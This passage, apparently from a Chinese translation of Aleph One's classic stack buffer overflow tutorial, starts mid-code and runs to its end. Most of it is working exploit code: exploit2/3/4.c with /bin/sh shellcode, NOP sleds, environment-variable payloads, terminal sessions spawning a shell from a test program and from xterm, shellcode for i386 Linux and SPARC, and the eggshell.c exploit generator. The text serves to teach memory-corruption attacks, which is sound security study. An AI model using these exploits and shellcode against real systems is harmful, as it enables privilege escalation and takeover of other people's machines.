#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
现在我们能去猜测缓存和偏移在什么地方:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
可见这并不是一个高效的程序.
即便知道了栈的起始位置,去猜测偏移大小也是一件几乎不可能的事情.
可能少则需要上百次,多则需要数千次.
问题在于我们需要猜测代码起始的"准确"位置.
即使只偏差一个字节,我们也会得到一个越界或者非法指令的错误.
一个提高几率的办法是在我们的溢出缓存前添加NOP指令.
几乎所有的处理器都有不执行任何操作的NOP指令.
我们常常在为了控制时间时,用它来对执行进行延缓.
我们可以利用这一点,用它填充一半的溢出buffer.
我们将我们的shellcode放在中间,之后用返回地址填充.
如果我们足够幸运,返回地址指向NOP中的任意位置时,它们就会被执行直至到达我们的代码.
在Intel架构中,NOP指令是1字节长, 且机械码为0x90.
假如栈的起始位置为0xFF,S代表shellcode,N代表NOP指令,那么新栈将长成以下样子:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack
新的exploit将是这样:
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
缓存较好的大小选择是比我们溢出的缓存多100字节左右.
这将会把我们的代码放到要溢出的缓存的末尾,给出很多空间放置NOP,但依然用我们猜测的地址覆盖返回地址.
我们要溢出的缓存是512字节,所以我们使用612字节.
让我们用新的exploit来溢出测试程序:
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
哇!
第一次尝试!
这个改变可以百倍地提高几率.
让我们用一个的真正的例子来测试缓存溢出.
我们将在Xt Lirary上演示我们的缓存溢出.
我们的例子将采用xterm(所有与Xt library相连的程序都是有缺陷的).
我们必须运行一个X server并允许localhost的连接.
相应地设置你的"显示"参数.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
V
1@/bin/sh
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
V
1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHH
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "^1FF
V
1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTT
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
找到了!
不到12次我们就找到了这个神奇数字.
如果xterm是root安装的,那么将会是一个root shell.
小缓存溢出
~~~~~~~~~~~~~~~~~~~~~~
当溢出buffer太小,或者shellcode不合适时,它会用指令而不是代码地址来重写返回地址;或在字符串前端可放置的NOP数量太少,从而地址的猜测几率太低.
要从这些程序中获取一个shell,我们需要用另一种方式运行它.
这种特别的方法只有当有权限访问程序的环境变量时有效.
我们要做的是把代码放入环境变量中,然后用该变量在内存中的地址溢出buffer.
如果你能任意改变包含shellcode的环境变量的大小,该方法也可以提高exploit生效的可能性.
环境变量在程序启动时存储在栈顶,被setenv()进行任何修改后都将被置于其它地方.
栈开始后像这样:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
我们的新程序会接受1个额外的变量,其大小包含了shellcode和NOP.
我们的新exploit如下:
exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
让我们在缺陷测试程序下,测试一下我们的新exploit:
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
就像施了咒一样.
在xterm上试一下.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
第一次尝试!
我们的概率明显提高了.
猜解地址取决于exploit程序与要exploit的程序相比较,拥有环境数据的多少,比它高或比它低.
用正偏移和负偏移都进行试验.
寻找buffer溢出
~~~~~~~~~~~~~~~~~~~~~~~~
正如前面所说,buffer溢出是向buffer中填充比其容量更多信息的结果.
由于C语言没有内置边界检查,溢出经常表现为越过字符数组边界的写入.
标准C库提供了一些复制或者增加字符串长度的函数来,但并没有进行边界检查.
它们包括: strcat(), strcpy(), sprintf(),和 vsprintf().
这些函数面向以null结束的字符串,并不对接收的字符串进行溢出检查.
gets()是从stdin读取一行到buffer的函数,到一个新行结束或者到EOF结束.
它也不对buffer溢出进行检查.
scanf()函数族也会出现问题,比如:在匹配一串非空白字符(%s)时,从匹配一个集(%[])中匹配一串非空字符时,char指针指向的数组不够接收一串字符时,及你没有定义可选最大字段宽度时.
如果这些函数的目标是一个容量为静态的buffer,并且参数来自用户的输入时,这就是一个很好的机会来进行buffer溢出的exploit.
另外一个我们常见的编程结构是while循环的使用,从stdin或文件,一次读取一个字符到缓存,直到行末尾,文件末尾,或一些分隔符.
这种类型结构经常用到以下函数: getc(), fgetc(), or getchar().
如果在while循环中没有外部的溢出检查,这些程序是很容易被exploit的.
总而言之,grep(1)是你的朋友.
开源操作系统的源代码和使用方法是可以获取的.
当你发现有些商用操作系统和开源操作系统的功能来源相同时,事情会变得很有趣.
使用源代码d00d.
附件A - 不同操作系统/架构的shellcode
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------
附件B - 通用的缓存溢出程序
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}